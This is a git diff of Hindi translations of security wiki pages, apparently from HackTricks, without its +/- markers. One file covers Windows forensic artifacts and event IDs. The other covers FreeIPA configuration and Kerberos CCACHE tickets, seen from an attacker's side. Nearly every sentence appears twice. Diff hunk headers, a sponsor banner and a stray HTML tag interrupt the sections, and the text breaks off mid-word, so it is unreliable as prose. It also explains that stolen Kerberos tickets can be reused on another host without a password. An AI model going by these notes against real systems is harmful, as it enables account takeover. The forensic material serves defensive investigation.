.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../.gitbook/assets/image (487).png>)
### Superprefetch
### सुपरप्रीफेच
**Superprefetch** का उद्देश्य भी prefetch की तरह है, **प्रोग्राम्स को तेजी से लोड करना** यह अनुमान लगाकर कि अगला क्या लोड होने वाला है। हालांकि, यह prefetch सेवा का विकल्प नहीं है।\
यह सेवा `C:\Windows\Prefetch\Ag*.db` में डेटाबेस फाइलें उत्पन्न करती है।
**सुपरप्रीफेच** का उद्देश्य प्रीफेच की तरह है, **प्रोग्राम को तेजी से लोड करना** जिसके द्वारा यह पूर्वानुमान लगाता है कि अगले क्या लोड होने वाला है। हालांकि, यह प्रीफेच सेवा को प्रतिस्थापित नहीं करता है।\
यह सेवा `C:\Windows\Prefetch\Ag*.db` में डेटाबेस फ़ाइलें उत्पन्न करेगी।
इन डेटाबेस में आप **प्रोग्राम** का **नाम**, **संख्या** **चलाने की**, **खोली गई** **फाइलें**, **पहुंची गई** **वॉल्यूम**, **पूरा** **पथ**, **समय सीमाएं** और **टाइमस्टैम्प्स** पा सकते हैं।
इन डेटाबेस में आप प्रोग्राम का **नाम**, **चलाने की संख्या**, **खोले गए फ़ाइलें**, **एक्सेस की गई वॉल्यूम**, **पूरा पथ**, **समयअंतराल** और **टाइमस्टैम्प** खोज सकते हैं।
आप इस जानकारी तक पहुंच सकते हैं उपकरण [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) का उपयोग करके।
आप इस जानकारी को [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) टूल का उपयोग करके प्राप्त कर सकते हैं।
### SRUM
**सिस्टम रिसोर्स उपयोग मॉनिटर** (SRUM) **प्रक्रिया द्वारा उपयोग किए जाने वाले संसाधनों** का **मॉनिटरिंग** करता है। यह W8 में प्रकट हुआ था और इसे `C:\Windows\System32\sru\SRUDB.dat` में स्थित एक ESE डेटाबेस में डेटा संग्रहीत करता है।
**System Resource Usage Monitor** (SRUM) **प्रक्रिया द्वारा उपभोग किए गए** **संसाधनों** की **निगरानी** करता है। यह W8 में आया था और यह डेटा को `C:\Windows\System32\sru\SRUDB.dat` में स्थित ESE डेटाबेस में संग्रहीत करता है।
यह निम्नलिखित जानकारी प्रदान करता है:
यह निम्नलिखित जानकारी देता है:
* ऐपआईडी और पथ
* प्रक्रिया को चलाने वाला उपयोगकर्ता
* भेजे गए बाइट
* प्राप्त बाइट
* नेटवर्क इंटरफेस
* AppID और पथ
* उपयोगकर्ता जिसने प्रक्रिया चलाई
* भेजे गए बाइट्स
* प्राप्त बाइट्स
* नेटवर्क इंटरफेस
* कनेक्शन अवधि
* प्रक्रिया अवधि
यह जानकारी हर 60 मिनट में अपडेट होती है।
आप इस फ़ाइल से तिथि प्राप्त कर सकते हैं उपकरण [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) का उपयोग करके।
आप इस फाइल से डेटा [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) टूल का उपयोग करके प्राप्त कर सकते हैं।
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
**Shimcache**, जिसे **AppCompatCache** भी कहा जाता है, **Application Compatibility Database** का एक घटक है, जिसे **Microsoft** ने बनाया था और ऑपरेटिंग सिस्टम द्वारा अनुप्रयोग संगतता समस्याओं की पहचान के लिए उपयोग किया जाता है।
**Shimcache**, जिसे **AppCompatCache** के नाम से भी जाना जाता है, **Application Compatibility Database** का एक घटक है, जिसे **Microsoft** द्वारा बनाया गया था और जिसका उपयोग ऑपरेटिंग सिस्टम द्वारा एप्लिकेशन संगतता समस्याओं की पहचान के लिए किया जाता है।
कैश ऑपरेटिंग सिस्टम के आधार पर विभिन्न फाइल मेटाडेटा संग्रहीत करता है, जैसे:
कैश में ऑपरेटिंग सिस्टम के आधार पर विभिन्न फाइल मेटाडेटा संग्रहीत होते हैं, जैसे कि:
* फाइल पूरा पथ
* फाइल का आकार
* **$Standard\_Information** (SI) की अंतिम संशोधित समय
* ShimCache की अंतिम अद्यतन समय
* प्रक्रिया निष्पादन ध्वज
* फाइल पूरा पथ
* फाइल आकार
* **$Standard\_Information** (SI) अंतिम संशोधित समय
* ShimCache अंतिम अपडेट समय
* प्रोसेस निष्पादन ध्वज
यह जानकारी रजिस्ट्री में मिल सकती है:
यह जानकारी रजिस्ट्री में निम्नलिखित स्थानों पर मिल सकती है:
* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
* XP (96 प्रविष्टियाँ)
@ -272,86 +257,122 @@ Windows Vista और Windows 2008 Server से ऊपर, `HKEY_LOCAL_MACHINE`
* Server 2003 (512 प्रविष्टियाँ)
* 2008/2012/2016 Win7/Win8/Win10 (1024 प्रविष्टियाँ)
आप इस जानकारी को पार्स करने के लिए उपकरण [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) का उपयोग कर सकते हैं।
आप इस जानकारी को पार्स करने के लिए [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) टूल का उपयोग कर सकते हैं।
![](<../../../.gitbook/assets/image (488).png>)
### Amcache
**Amcache.hve** फाइल एक रजिस्ट्री फाइल है जो निष्पादित अनुप्रयोगों की जानकारी संग्रहीत करती है। यह `C:\Windows\AppCompat\Programas\Amcache.hve` में स्थित होती है।
**Amcache.hve** फाइल एक रजिस्ट्री फाइल है जो निष्पादित एप्लिकेशनों की जानकारी संग्रहीत करती है। यह `C:\Windows\AppCompat\Programas\Amcache.hve` में स्थित है।
**Amcache.hve** नवीनतम प्रक्रियाओं को रिकॉर्ड करती है और उन फ़ाइलों के पथ की सूची को दर्ज करती है जो निष्पादित कार्यक्रम की खोज के लिए उपयोग की जा सकती है। यह भी कार्यक्रम के SHA1 को रिकॉर्ड करती है।
**Amcache.hve** हाल ही में चलाए गए प्रोसेसों का रिकॉर्ड रखता है और उन फाइलों का पथ सूचीबद्ध करता है जिन्हें निष्पादित किया गया है, जिसका उपयोग निष्पादित किए गए प्रोग्राम का पता लगाने के लिए किया जा सकता है। यह प्रोग्राम का SHA1 भी रिकॉर्ड करता है।
आप इस जानकारी को उपकरण [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) के साथ पार्स कर सकते हैं।
आप इस जानकारी को पार्स करने के लिए [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) टूल का उपयोग कर सकते हैं।
```bash
AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum
```
सबसे दिलचस्प CVS फ़ाइल जो उत्पन्न होती है, वह है `Amcache_Unassociated file entries`.
### RecentFileCache
इस आर्टिफैक्ट को केवल W7 में `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` में पाया जा सकता है और इसमें कुछ बाइनरीज के हालिया निष्पादन के बारे में जानकारी होती है।
यह आर्टिफैक्ट केवल W7 में `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` में पाया जा सकता है और इसमें कुछ बाइनरीज के हालिया निष्पादन क जानकारी होती है।
आप इस फ़ाइल को पार्स करने के लिए टूल [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) का उपयोग कर सकते हैं।
आप फ़ाइल को पार्स करने के लिए [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) टूल का उपयोग कर सकते हैं।
### Scheduled tasks
आप न्हें `C:\Windows\Tasks` या `C:\Windows\System32\Tasks` से निकाल सकते हैं और उन्हें XML के रूप में पढ़ सकते हैं।
आप न्हें `C:\Windows\Tasks` या `C:\Windows\System32\Tasks` से निकाल सकते हैं और उन्हें XML के रूप में पढ़ सकते हैं।
### Services
आप उन्हें रजिस्ट्री में `SYSTEM\ControlSet001\Services` के तहत ढूंढ सकते हैं। आप देख सकते हैं कि क्या निष्पादित होने वाला है और कब।
आप इन्हें रजिस्ट्री के अंतर्गत `SYSTEM\ControlSet001\Services` में पा सकते हैं। आप देख सकते हैं कि क्या निष्पादित होने वाला है और कब।
### **Windows Store**
स्थापित एप्लिकेशन `\ProgramData\Microsoft\Windows\AppRepository\` में पाए जा सकते हैं।
इस रिपॉजिटरी में एक **लॉग** होता है जिसमें विभिन्न एप्लिकेशनों की **प्रत्येक स्थापित एप्लिकेशन** की जानकारी होती है जो डेटाबेस **`StateRepository-Machine.srd`** के भीतर होती है।
स्थापित एप्लिकेशन `\ProgramData\Microsoft\Windows\AppRepository\` में पाए जा सकते हैं।\
इस रिपॉजिटरी में डेटाबेस **`StateRepository-Machine.srd`** के अंदर सिस्टम में **प्रत्येक एप्लिकेशन स्थापित** के साथ एक **लॉग** होता है।
इस डेटाबेस के Application टेबल में, "Application ID", "PackageNumber", और "Display Name" नामक कॉलम्स पाए जा सकते हैं। इन कॉलम्स में प्री-स्थापित और स्थापित एप्लिकेशनों के बारे में जानकारी होती है और यह पता लगाया जा सकता है कि क्या कुछ एप्लिकेशन अनइंस्टॉल किए गए हैं क्योंकि स्थापित एप्लिकेशनों के आईडी सीक्वेंशियल होने चाहिए।
इस डेटाबेस के एप्लिकेशन टेबल में, "Application ID", "PackageNumber", और "Display Name" कॉलम पाए जा सकते हैं। इन कॉलमों में प्री-इंस्टॉल्ड और स्थापित एप्लिकेशनों की जानकारी होती है और यह भी पता ल सकता है कि कुछ एप्लिकेशन अनइंस्टॉल किए गए थे क्योंकि स्थापित एप्लिकेशनों के आईडी क्रमिक होने चाहिए।
रजिस्ट्री पथ `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` में स्थापित एप्लिकेशन भी **ढूंढ़ा जा सकता है**
और **अनइंस्टॉल** **एप्लिकेशन** में: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
रजिस्ट्री पथ में **स्थापित एप्लिकेशन** भी पाए जा सकते हैं: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
और **अनइंस्टॉल्ड** **एप्लिकेशन** यहाँ पर हैं: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows Events
Windows इवेंट्स में दिखाई देने वाली जानकारी है:
Windows इवेंट्स के अंदर जो जानकारी आती है वह हैं:
* क्या हुआ
* टाइमस्टैम्प (UTC + 0)
* संलग्न उपयोगकर्ता
* संलग्न होस्ट (होस्टनाम, आईपी)
* पहुंचे गए संपत्ति (फ़ाइलें, फ़ोल्डर, प्रिंटर, सेवाएं)
* Timestamp (UTC + 0)
* शामिल उपयोगकर्ता
* शामिल होस्ट्स (hostname, IP)
* पहुँचे गए एसेट्स (फ़ाइलें, फ़ोल्डर, प्रिंटर, सेवाएँ)
लॉग्स `C:\Windows\System32\config` में Windows Vista से पहले और `C:\Windows\System32\winevt\Logs` में Windows Vista के बाद स्थित होते हैं। Windows Vista से पहले, इवेंट लॉग्स बाइनरी प्रारूप में थे और इसके बाद, वे **XML प्रारूप** में होते हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं।
लॉग्स Windows Vista से पहले `C:\Windows\System32\config` में स्थित हैं और Windows Vista के बाद `C:\Windows\System32\winevt\Logs` में हैं। Windows Vista से पहले, इवेंट लॉग्स बाइनरी फॉर्मेट में थे और उसके बाद, वे **XML फॉर्मेट** में हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं।
इवेंट फ़ाइलों की स्थान प्रणाली रजिस्ट्री में **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** में पाई जा सकती है।
इवेंट फ़ाइलों का स्थान SYSTEM रजिस्ट्री में पाया जा सकता है **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
न्हें Windows Event Viewer (**`eventvwr.msc`**) से देखा जा सकता है या [**Event Log Explorer**](https://eventlogxp.com) जैसे अन्य उपकरणों के साथ देखा जा सकता है।
न्हें Windows Event Viewer (**`eventvwr.msc`**) से देखा जा सकता है या अन्य टूल्स जैसे कि [**Event Log Explorer**](https://eventlogxp.com) **या** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** का उपयोग करके।**
### सुरक्षा
### Security
इसमें पहुंच घटनाएं रजिस्टर होती हैं और सुरक्षा कॉन्फ़िगरेशन के बारे में जानकारी देती है जो `C:\Windows\System32\winevt\Security.evtx` में पाई जा सकती है।
यह एक्सेस इवेंट्स को रजिस्टर करता है और सुरक्षा कॉन्फ़िगरेशन की जानकारी देता है जो `C:\Windows\System32\winevt\Security.evtx` में पाई जा सकती है।
इवेंट फ़ाइल का **अधिकतम आकार** विन्यासयोग्य होता है, और जब अधिकतम आकार प्राप्त हो जाता है, तो पुरानी घटनाएं अधिलेखित कर दी जाती हैं
इवेंट फ़ाइल का **अधिकतम आकार** कॉन्फ़िगर किया जा सकता है, और जब अधिकतम आकार पहुँच जाता है तो यह पुरानी घटनाओं को ओवरराइट करना शुरू कर देगा
इन घटनाओं को इस प्रकार रजिस्टर किया जाता है:
रजिस्टर की गई घटनाएँ हैं:
* लॉगिन/लॉगआउट
* उपयोगकर्ता की क्रियाए
* फ़ाइलों, फ़ोल्डरों और साझा संपत्तियों का उपयोग
* लॉगिन/लॉगऑफ
* उपयोगकर्ता की क्रियाए
* फ़ाइलों, फ़ोल्डरों और साझा एसेट्स तक पहुँच
* सुरक्षा कॉन्फ़िगरेशन का संशोधन
उपयोगकर्ता प्रमाणीकरण से संबंधित घटनाए:
उपयोगकर्ता प्रमाणीकरण से संबंधित घटनाए:
| EventID | विवरण |
| --------- | ---------------------------- |
| 4624 | सफल प्रमाणीकरण |
| 4625 | प्रमाणीकरण त्रुटि |
| 4634/4647 | लॉगआउट |
| 4672 | प्रशासनिक अनुमतियों के साथ लॉगिन |
| 4624 | सफल प्रमाणीकरण |
| 4625 | प्रमाणीकरण त्रुटि |
| 4634/4647 | लॉग ऑफ |
| 4672 | व्यवस्थापक अनुमतियों के साथ लॉगिन |
EventID 4634/4647 के अंदर
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) **में** या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **अपने हैकिंग ट्रिक्स को साझा करें द्वारा PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
EventID 4634/4647 के अंदर दिलचस्प उप-प्रकार हैं:
</details>
* **2 (इंटरैक्टिव)**: लॉगिन इंटरैक्टिव था कीबोर्ड या VNC या `PSexec -U-` जैसे सॉफ़्टवेयर का उपयोग करके
* **3 (नेटवर्क)**: साझा फ़ोल्डर से कनेक्शन
* **4 (बैच)**: प्रक्रिया निष्पादित की गई
* **5 (सेवा)**: सेवा नियंत्रण प्रबंधक द्वारा सेवा शुरू की गई
* **6 (प्रॉक्सी):** प्रॉक्सी लॉगिन
* **7 (अनलॉक)**: पासवर्ड का उपयोग करके स्क्रीन अनब्लॉक की गई
* **8 (नेटवर्क क्लियरटेक्स्ट)**: उपयोगकर्ता ने स्पष्ट पाठ पासवर्ड भेजकर प्रमाणीकरण किया। यह घटना IIS से आती थी
* **9 (नई क्रेडेंशियल्स)**: यह तब उत्पन्न होता है जब `RunAs` कमांड का उपयोग किया जाता है या उपयोगकर्ता अलग क्रेडेंशियल्स के साथ नेटवर्क सेवा तक पहुँचता है।
* **10 (रिमोट इंटरैक्टिव)**: टर्मिनल सेवाओं या RDP के माध्यम से प्रमाणीकरण
* **11 (कैश इंटरैक्टिव)**: डोमेन कंट्रोलर से संपर्क नहीं हो पाने के कारण अंतिम कैश किए गए क्रेडेंशियल्स का उपयोग करके पहुँच
* **12 (कैश रिमोट इंटरैक्टिव)**: कैश किए गए क्रेडेंशियल्स के साथ दूरस्थ रूप से लॉगिन (10 और 11 का संयोजन)।
* **13 (कैश्ड अनलॉक)**: कैश किए गए क्रेडेंशियल्स के साथ लॉक किए गए मशीन को अनलॉक करना।
इस पोस्ट में, आप पा सकते हैं कि इन सभी प्रकार के लॉगिन को कैसे नकल करें और उनमें से किनमें आप मेमोरी से क्रेडेंशियल्स डंप कर पाएंगे: [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
घटनाओं की स्थिति और उप-स्थिति की जानकारी घटना के कारणों के बारे में अधिक विवरण बता सकती है। उदाहरण के लिए, Event ID 4625 के निम्नलिखित स्थिति और उप-स्थिति कोड्स पर एक नज़र डालें:
![](<../../../.gitbook/assets/image (455).png>)
### Recovering Windows Events
संदिग्ध PC को **अनप्लग करके** बंद करना अत्यधिक सिफारिश की जाती है ताकि Windows इवेंट्स को रिकवर करने की संभावना को अधिकतम किया जा सके। अगर वे हटा दिए गए हों, तो उन्हें रिकवर करने के लिए उपयोगी टूल हो सकता है [**Bulk_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) जिसमें **evtx** एक्सटेंशन का संकेत दिया गया हो।
## Identifying Common Attacks with Windows Events
* [https://redteamrecipe.com/event-codes/](https://redteamrecipe.com/event-codes/)
### Brute Force Attack
एक ब्रूट फोर्स अटैक को आसानी से पहचाना जा सकता है क्योंकि **कई EventIDs 4625 दिखाई देंगे**। अगर अटैक **सफल** था, तो EventIDs 4625 के बाद, **एक EventID 4624 दिखाई देगा**
### Time Change
यह फोरेंसिक टीम के लिए भयानक है क्योंकि सभी टाइमस्टैम्प्स मॉडिफाइड हो जाएंगे। यह घटना Security Event लॉग में EventID 4616 द्वारा रिकॉर्ड की जाती है।
### USB devices
निम्नलिखित System EventIDs उपयोगी हैं:
* 20001 / 20003 / 10000: पहली बार इस्तेमाल किया गया
* 10100: ड्राइ

View file

@ -4,98 +4,88 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की सुविधा प्राप्त करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपन हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपन हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।**
</details>
यह जानकारी पोस्ट से ली गई है:
यह जानकारी निम्नलिखित पोस्ट्स से ली गई है:
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be)
## मूलभूत जानकारी
## मूल जानकारी
यह Microsoft Windows **Active** **Directory** के लिए एक खुला स्रोत **विकल्प** है, मुख्य रूप से **Unix** पर्यावरणों के लिए एक एकीकृत प्रबंधन समाधान के रूप में उपयोग होता है। Active Directory की तरह, FreeIPA एक पूर्ण **LDAP निर्देशिका** ढांचा का अमल करता है जिसे MIT **Kerberos** Key Distribution Center द्वारा समर्थित किया जाता है। यह CA & RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करता है, जिसके कारण इसे स्मार्टकार्ड सहित **बहु-कारक** प्रमाणीकरण का संचालन करने की क्षमता होती है। SSSD का उपयोग FreeIPA को मानक Unix प्रमाणीकरण प्रक्रिया में एकीकृत करने के लिए किया जाता है।
यह Microsoft Windows **Active Directory** का एक ओपन सोर्स **विकल्प** है, जिसका मुख्य रूप से **Unix** पर्यावरणों के लिए एकीकृत प्रबंधन समाधान के रूप में उपयोग होता है। Active Directory की तरह, FreeIPA एक पूर्ण **LDAP डायरेक्टरी** इंफ्रास्ट्रक्चर को लागू करता है जिसके पीछे एक MIT **Kerberos** Key Distribution Center होता है। यह Dogtag **Certificate System** का उपयोग CA & RA प्रमाणपत्र प्रबंधन के लिए करता है, जिससे इसे **मल्टी-फैक्टर** प्रमाणीकरण संभालने की क्षमता मिलती है, जिसमें स्मार्टकार्ड्स शामिल हैं। SSSD का उपयोग Unix प्रमाणीकरण प्रक्रिया में FreeIPA को एकीकृत करने के लिए किया जाता है।
## फिंगरप्रिंट
## फिंगरप्रिंट्स
### फ़ाइलें और एनवायरनमेंट वार्स
### फाइलें & Env Vars
* **`/etc/krb5.conf`:** `krb5.conf` फ़ाइल में वह Kerberos क्लाइंट जानकारी होती है जो डोमेन में **नामांकित होने** के लिए आवश्यक होती है। इसमें रुचि के Kerberos वीलों के लिए KDCs और व्यवस्थापक सर्वरों की **स्थान** को, वर्तमान वील और Kerberos अनुप्रयोगों के लिए डिफ़ॉल्ट को, और होस्टनाम को Kerberos वीलों पर मैप करने के लिए नक्शाएं शामिल होती हैं।
* **`/etc/ipa/default.conf`:** यह IPA सर्वरों के लिए **डिफ़ॉल्ट कॉन्फ़िगरेशन फ़ाइल** है, इसका उपयोग IPA क्लाइंट और सर्वर चलाने के समय लागू होने वाली सिस्टम-व्यापी डिफ़ॉल्ट सेट करने के लिए किया जाता है।
* **`/etc/krb5.keytab`:** `krb5.keytab` फ़ाइल **डोमेन** के सभी होस्ट पर आवश्यक होती है। यह KDC के प्रति **प्रमाणीकरण** प्रक्रिया का हिस्सा के रूप में आवश्यक होती है।
* **`KRB5CCNAME`:** यदि सेट है, तो यह चर विशेषता **प्रमाणीकरण के लिए उपयोग होने वाले CCACHE टिकट** की स्थान की ओर पहुँच करती है।
* **`KRB5_KTNAME`:** यदि सेट है, तो यह चर विशेषता **प्रमाणीकरण के लिए उपयोग होने वाली Keytab फ़ाइल** की स्थान की ओर पहुँच करती है।
* **`KRB5_CONFIG`:** यदि सेट है, तो यह चर विशेषता **Kerberos कॉन्फ़िगरेशन** फ़ाइल की स्थान की ओर पहुँच करती है।
* **`KRB5_KDC_PROFILE`:** यदि सेट है
### नेटवर्क
* **`/etc/krb5.conf`:** `krb5.conf` फाइल में Kerberos क्लाइंट जानकारी होती है जो **डोमेन में नामांकित** होने के लिए आवश्यक है। इसमें Kerberos क्षेत्रों के KDCs और एडमिन सर्वरों के **स्थान**, वर्तमान क्षेत्र और Kerberos अनुप्रयोगों के लिए डिफ़ॉल्ट, और Kerberos क्षेत्रों पर होस्टनेम के मैपिंग शामिल होते हैं।
* **`/etc/ipa/default.conf`:** यह **IPA सर्वरों के लिए डिफ़ॉल्ट कॉन्फ़िगरेशन फाइल** है, इसका उपयोग IPA क्लाइंट्स और सर्वरों को चलाते समय सिस्टम-वाइड डिफ़ॉल्ट्स सेट करने के लिए किया जाता है।
* **`/etc/krb5.keytab`:** `krb5.keytab` फाइल **डोमेन** के अंदर सभी होस्ट्स पर **आवश्यक** होती है। यह KDC के लिए **प्रमाणीकरण** प्रक्रिया का हिस्सा है।
* **`KRB5CCNAME`:** अगर सेट किया गया है, तो यह वेरिएबल प्रमाणीकरण के लिए उपयोग किए जाने वाले **CCACHE टिकट** के **स्थान** को इंगित करता है।
* **`KRB5_KTNAME`:** अगर सेट किया गया है, तो यह वेरिएबल प्रमाणीकरण के लिए उपयोग किए जाने वाले **Keytab** फाइल के **स्थान** को इंगित करता है।
* **`KRB5_CONFIG`:** अगर सेट किया गया है, तो यह वेरिएबल **Kerberos कॉन्फ़िगरेशन** फाइल के **स्थान** को इंगित करता है।
* **`KRB5_KDC_PROFILE`:** अगर सेट किया गया है, तो यह वेरिएबल **KDC कॉन्फ़िगरेशन** फाइल के **स्थान** को इंगित करता है, जिसमें Key Distribution Center डेमॉन के लिए अतिरिक्त कॉन्फ़िगरेशन निर्देश होते हैं।
* **`KRB5RCACHETYPE`:** यह वेरिएबल सर्वरों के लिए उपयोग किए जाने वाले **रिप्ले कैश के डिफ़ॉल्ट प्रकार** को निर्दिष्ट करता है।
* **`KRB5RCACHEDIR`:** यह वेरिएबल सर्वरों द्वारा उपयोग किए जाने वाले **रिप्ले कैश के डिफ़ॉल्ट डायरेक्टरी** को निर्दिष्ट करता है।
* **`KRB5_TRACE`:** यह वेरिएबल एक **फ़ाइलनेम को निर्दिष्ट करता है जिसमें ट्रेस लॉग आउटपुट लिखा जाएगा**। ट्रेस लॉग्स Kerberos लाइब्रेरीज़ द्वारा आंतरिक रूप से किए गए निर्णयों को स्पष्ट करने में मदद कर सकते हैं।
* **`KRB5_CLIENT_KTNAME`:** यह वेरिएबल **डिफ़ॉल्ट क्लाइंट keytab** फाइल नाम सेट करता है।
* **`KPROP_PORT`:** यह वेरिएबल **kprop के लिए उपयोग किए जाने वाले डिफ़ॉल्ट पोर्ट** को सेट करता है।
यहाँ एक FreeIPA सर्वर का दिखने का तरीका है:
### बाइनरीज
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
## प्रमाणीकरण
क्योंकि FreeIPA **प्रमाणीकरण के लिए Kerberos का उपयोग करता है**, इस प्रक्रिया को **Active Directory** में प्रमाणीकरण के साथ बहुत समान है। डोमेन पर संसाधनों तक पहुंचने के लिए, उपयोगकर्ता को उस संसाधन के लिए एक **मान्य Kerberos टिकट** होना चाहिए। इन टिकट को FreeIPA डोमेन के विन्यास के आधार पर कई अलग-अलग स्थानों पर संग्रहीत किया जा सकता है।
### **CCACHE टिकट फ़ाइलें**
जब टिकट को **डिस्क पर फ़ाइल** के रूप में संग्रहीत करने के लिए सेट किया जाता है, तो मानक प्रारूप और प्रकार एक **CCACHE** फ़ाइल होती है। यह Kerberos क्रेडेंशियल संग्रह करने के लिए एक सरल बाइनरी फ़ाइल प्रारूप है। ये फ़ाइलें सामान्यतः **`/tmp`** में संग्रहीत की जाती हैं और **600** अनुमतियों के साथ स्कोप की जाती हैं। हमारे हमलावर के दृष्टिकोण से यह महत्वपूर्ण है क्योंकि:
1. मान्य टिकट का उपयोग करके प्रमाणीकरण किया जा सकता है, बिना संबंधित उपयोगकर्ता के सादा **पासवर्ड** की आवश्यकता के।
2. **CCACHE** टिकट अत्यंत **पोर्टेबल** होते हैं। इन्हें डाउनलोड किया और दूसरे होस्ट पर लोड किया जा सकता है बिना टिकट को नवीनीकृत या मान्यता प्राप्त करने की आवश्यकता के।
CCACHE टिकट को पार्स करना कई अलग-अलग तरीकों से आसानी से किया जा सकता है। सबसे सरल तरीका इसे klist बाइनरी के साथ पार्स करना है।
* **ipa:** यह बाइनरी **FreeIPA डोमेन को प्रबंधित करने के लिए मानक** है। इसका उपयोग होस्ट्स, उपयोगकर्ताओं, सुडो नियमों, और बहुत कुछ प्रबंधित करने के लिए किया जा सकता है।
